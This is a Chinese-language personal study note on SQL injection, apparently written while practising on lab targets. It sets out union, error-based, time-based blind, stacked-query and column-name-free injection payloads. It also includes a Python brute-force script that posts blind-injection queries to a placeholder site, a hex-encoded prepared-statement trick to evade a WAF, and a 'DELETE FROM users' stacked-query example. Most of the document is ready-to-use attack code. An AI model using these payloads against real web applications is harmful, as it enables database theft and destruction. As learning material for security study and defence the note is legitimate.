SQL注入笔记
SQL注入笔记
这里是我的SQL注入笔记,绝赞更新中!欢迎批评斧正!
[TOC]
普通注入&&基础命令
常用查库、表指令
查库: select schema_name from information_schema.schemata <==> show databases
查表:select table_name from information_schema.tables where table_schema=0x7365637572697479(库名) //'security'
查列:select column_name from information_schema.columns where table_name='~~~~'; //column 列;栏
查字段:select (column1),(column2) from (表名).(列名);
其中schema_name;table_name;column_name…可视为一种全局变量;
concat()函数、ordor by
有时查列或表一次性无法显示全,就用group_concat()包住上列全局变量;
group_concat()的作用是将所有数据拼接为1行显示,详细可查看concat函数介绍;
order by指令原本用于排序,但在注入中可以用于确定列数;
假定某表有3列;
/?id=1' order by 1;-->成功
/?id=1' order by 2;-->成功
/?id=1' order by 3;-->成功
/?id=1' order by 4;-->失败
故此表有三列;
limit (起始序号(0开始)),(展示行数);
待补充…
不常用全局变量
select system_user()<==>user() //展示系统用户
select database() //展示数据库名
select version() //展示版本信息
select @@datadir //展示数据储存路径
select @@version_compile_os //展示服务器系统
为什么会有1,2,select…
类似于(union selcet 1,2,#)的缘故:,3#)时数据会出现在第二列;
上例是确定了此表有三列,为想要的数据得到展示,选择第三列来显示;
当如(union 1,selcet ~
报错注入
XPath语法错误注入
extractvalue()
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
当我们在XPath_string故意填入错误的XPath时,在回显报错的同时会执行XPath的sql语句。
可根据此函数进行报错注入
// 这里是为了绕过空格的检测,所以用()把所有的东西包裹起来
// 0x7e是“~”,是sql的一元运算符,可以防止在回显的时候不回显第一组数据
// 可以的话想用0x5e“^”也可以...
extractvalue(NULL,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))))#
extractvalue(NULL,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata))))#
UPDATEXML()
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
和上面同理,但需要多加一个NULL
整型溢出错误注入(SQL<5.5.53)
select ~0;
>>> 18446744073709551615
这里我们对0进行了取反,导致数据溢出
select !(select * from (select user())x);
>>> 1
当一条语句执行成功时,返回0。因此非一下就变成了“1”.
select exp(710);
>>> ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
这里exp()计算自然指数。到了710就已经溢出了,我们尝试:
select exp(~(select*from(select user())x));
>>> DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
虽然报错,但成功返回用户信息。以此来注入。
时间盲注
时间盲注
在时间盲注中共使用了4个比较重要的语句:
sleep(s); # 将语句延迟s秒
if(a,b,c); # 如果a语句成立,执行b,否则执行c
ascii(a); # 将语句a的字符转换为ascii(十进制)
substr(a,b,c); # 将a的语句,从b(num)的位置开始,截取c(num)个字符
我们将其一个一个结合起来就可以得到:
select if((ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),?,1))=?),sleep(5),1);
# 一一拆分对应
select if(@a,sleep(5),1) #如果@a语句成立,执行sleep(5),否则返回1
@a=(ascii(@b)=?) #判断ascii后的@b是否等于?中的数字
@b=substr(@c,?,1) #从?处开始,截取@c语句中的1个字符
@c=(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) #查表语句,可以变换为查列,查字段的语句
由此,我们可以实现爆破来获得信息
这里来一个python脚本(版本>3.0)(十分臃肿
import requests
mode = input("plz input use mode:")
# T查表 C查列 F查字段
while(True):
if(mode == 'T'):
payload = 'select if((ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s),sleep(5),1)'
break
elif(mode == 'C'):
tab = input('plz input tables_name:')
payload = 'select if((ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x'+tab.encode('UTF-8').hex()+'),%s,1)))=%s,sleep(5),1)'
break
elif(mode == 'F'):
tab = input('plz input tables_name:')
col = input('plz input col_name:')
payload = 'select if((ascii(substr((select '+ col +' from '+ tab +' limit 0,1),%s,1))=%s),sleep(5),1)'
break
elif(mode != 'F'|'C'|'T'):
print('Error')
url = 'http://114514.com/FAQ.php'
res = ''
sel_num = input("plz input sel_num:")
# 要查询的字符数
for i in range(1,sel_num):
print(i)
for j in range(32,127):
print(chr(j))
now_payload = payload % (i,j)
try:
r = requests.post(url=url,data=now_payload,timeout=4.5)
# 这里视情况更改
except:
res += chr(j)
print(res)
sql堆叠注入
原理
在一定条件下,我们可以通过 “ ; ” 提前结束sql语句,并在后面跟上其它sql语句,得到执行。在myphpadmin我们便可以这样多句执行
比如:
$a = $_GET['a'];
$sql = "SELECT * FROM users WHERE id=$id";
在这里我们甚至可以构造:
$a = "1;DELETE FROM users";
将整个users表全部删除!可见其危害有多大
不过一般来说,这种注入的局限比较大…
可能数据库引擎不支持,权限不足等…都会导致注入失败,还有就是,结果不一定会有回显…
yysy,我刚开始我从字面意思以为是什么数据溢出的骚操作(
应用
sql预处理语句
在可以进行堆叠注入时,且像”select、or…“等重要语句被过滤时,可以使用sql预处理语句
SET @a="select * from users"; #怎么说?设定了一个a变量
PREPARE test FROM @a; #使test=@a
EXECUTE test; #加载test语句
这样,我们就可以执行@a所设定的语句
再来,我们将我们的@a所设定的语句转换为hex,即可绕过大多数的waf
这里,我们尝试:
http://114514.com/?id=1';SET+@a=0x73656C65637420736C656570283529;PREPARE+test+FROM+@a;EXECUTE+test;"
//select sleep(5);
bypass - information_schema
原理
也不是什么奇技淫巧,只是有其它的类似于information_schema的东西可以用来替代。
这里先只给出payload,详细原理之后补上。不知其所以然是不行的。
# 无自增id时
select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();
+---+---+-------------------------------+
| 1 | 2 | group_concat(table_name) |
+---+---+-------------------------------+
| 1 | 2 | users,emails,uagents,referers |
+---+---+-------------------------------+
# 有自增id时
select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database();
+---+---+-------------------------------+
| 1 | 2 | group_concat(table_name) |
+---+---+-------------------------------+
| 1 | 2 | emails,referers,uagents,users |
+---+---+-------------------------------+
https://www.anquanke.com/post/id/193512
原作者说,可能还有更多方式,但我现在时间有限。之后再说。
as别名的无列名注入
原理
通过as和虚拟表来使数据导入至虚拟表并赋予别名,以此在不知道列名的状况下,通过别名窃取到数据。
as语句
要了解此注入先需要知道什么是as。
其实也简单,它就是为数据起了一个别名。
例如,我使用如下语句查询到了以下结果:
select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
这时候,可能有人不懂洋文(比如我),这时候我们可以用as语句进行转换:
select id as 编号,username as 用户名,password as 密码 from users;
+--------+-----------+------------+
| 编号 | 用户名 | 密码 |
+--------+-----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+--------+-----------+------------+
可以发现,id、username、password都变成了中文。
无列名查询
但需要注意的是,这并不是在原表修改的,而是产生了一张虚拟表。这使得我们可以不用查列名即可获得数据。这就让我们可以干一些奇怪的事情。
注意,这里需要知道表的列数(其实也容易获取)
select 1,2,3 as c;
# 获得了一张虚拟表,最后列名是c
+---+---+---+
| 1 | 2 | c |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
select 1,2,3 as c union select * from users;
# 我们发现原有的列名被替换了
+----+----------+------------+
| 1 | 2 | c |
+----+----------+------------+
| 1 | 2 | 3 |
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
# 这时候,我们就可以对这个虚拟表干一些奇怪的事情
select group_concat(c) from (select 1,2,3 as c union select * from users) as b;
# 这里是又建立了另一个表,让他查询我们之前导入了数据的虚拟表,便可以提出数据
# 注意,新表一定要起别名,不然会报错(指上面的as b)
# 这个太长了,我就在下面放图片了